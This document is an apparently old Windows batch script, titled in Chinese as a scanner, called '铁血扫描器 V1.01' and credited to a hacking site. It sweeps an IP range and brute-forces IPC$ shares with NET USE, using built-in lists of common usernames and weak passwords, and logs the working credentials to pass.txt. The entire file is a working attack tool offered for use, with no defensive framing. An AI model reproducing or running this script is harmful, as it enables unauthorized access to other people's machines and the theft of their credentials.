一个扫描程序 包括端口扫描

				@echo off
				
				echo @FOR /F %%%%K IN (user.txt) DO FOR /F %%%%J IN (passwd.txt) DO NET USE \\%%1\IPC$ %%%%J /USER:%%%%K  ^& IF NOT errorlevel 1 (echo 目标ip:%%1 用户名:%%%%K 密码:%%%%J ^>^>pass.txt ^& @net use \\%%1\ipc$ /delete ^& @exit)  >scan.bat
				echo @net use \\%%1\ipc$ /delete  >>scan.bat
				echo @exit >>scan.bat
				
				echo administrator >user.txt
				echo admin  >>user.txt
				echo guest  >>user.txt
				echo user   >>user.txt
				
				echo ""   >passwd.txt
				echo 123  >>passwd.txt
				echo 1234  >>passwd.txt
				echo 12345  >>passwd.txt
				echo 123456  >>passwd.txt
				echo 1234567  >>passwd.txt
				echo 12345678  >>passwd.txt
				echo 654321  >>passwd.txt
				echo 54321  >>passwd.txt
				echo passwd  >>passwd.txt
				echo pass  >>passwd.txt
				echo 1314520  >>passwd.txt
				echo 5201314  >>passwd.txt
				echo 1  >>passwd.txt
				echo 111  >>passwd.txt
				echo 11111  >>passwd.txt
				echo 111111  >>passwd.txt
				echo 11111111  >>passwd.txt
				echo 888888  >>passwd.txt
				echo 88888888  >>passwd.txt
				echo 000000  >>passwd.txt
				echo 00000000  >>passwd.txt
				echo password  >>passwd.txt
				echo test  >>passwd.txt
				
				color 3e
				set ip1=0
				set ip2=0
				set ip3=0
				set ip4=0
				
				for /f "tokens=1-4 delims=."  %%i in ("%1") do set /a ip1=%%i & set /a ip2=%%j & set /a ip3=%%k & set /a ip4=%%l
				
				if "%2"=="" (set ip5=255.255.255.255)  else set ip5=%2
				
				echo 本次测试从%date% %time% 开始----------->>pass.txt
				
				cls
				echo ********************************************************************************
				echo *                      铁血扫描器V1.01          QQ:22540685                    *
				echo ********************************************************************************
				echo *Download by                                                                   *
				echo *小凤居                                                                        *
				echo *ChineseHack.org                                                               *
				echo ********************************************************************************
				echo 这是一个速度和质量都还可以的批处理IPC扫描器。请不要改成蠕虫。
				echo,
				echo 运行后会生成scan.bat,user.txt和pass.txt三个文件，你可以扩充里面的内容
				echo,
				echo 本程序正确格式如下：
				echo,
				echo ipcscan.bat [起始IP] [结束IP]
				echo,
				echo 只有起始IP无结束IP时程序将测试 [起始IP]--255.255.255.255内的所有IP
				echo,
				echo 如果不带任何IP本程序的范围为：0.0.0.0--255.255.255.255
				echo,
				echo 结束程序请按CTRL+C,开始测试请按任意键......
				echo,
				echo 例如：ipcscan 192.168.0.1 192.168.0.255
				echo,
				echo OK!现在你的测试范围是:%ip1%.%ip2%.%ip3%.%ip4%--%ip5%
				echo,
				pause
				cls
				echo ********************************************************************************
				echo *                      铁血扫描器V1.01          QQ:22540685                    *
				echo ********************************************************************************
				goto start
				
				:if4
				if "%ip4%"=="255" goto if3
				set /a ip4+=1 
				
				:start
				SET ADDRESS=%ip1%.%ip2%.%ip3%.%ip4%
				if "%ADDRESS%"=="%ip5%" goto ok
				ping %ADDRESS% -n 1|find "Received = 1"  
				if  errorlevel 1   ECHO 目标%ADDRESS%不存在或者对方有防火墙......  & goto if4
				echo 正在测试%ADDRESS%........................
				start /min  scan.bat %ADDRESS% 
				goto if4
				
				:if3
				if "%ip3%"=="255" goto if2
				set /a ip3+=1
				set ip4=0
				goto start
				
				:if2
				if "%ip2%"=="255" goto if1
				set /a ip2+=1
				set ip4=0
				set ip3=0
				goto start
				
				:if1
				if "%ip1%"=="255" goto exit
				set /a ip1+=1
				set ip4=0
				set ip3=0
				set ip2=0
				goto start
				
				:ok
				echo =====================================================
				echo 请等待其他线程结束！......
				pause 
				cls
				echo 本次测试结束于%date% %time% ----------->>pass.txt
				echo ********************************************************************************
				echo *                      铁血扫描器V1.01          QQ:22540685                    *
				echo ********************************************************************************
				echo 以下报告由铁血提交 QQ:22540685 Email:txhak@etang.com
				echo 程序运行完成从第一次运行到现在结果列表如下：
				type pass.txt
				
				:exit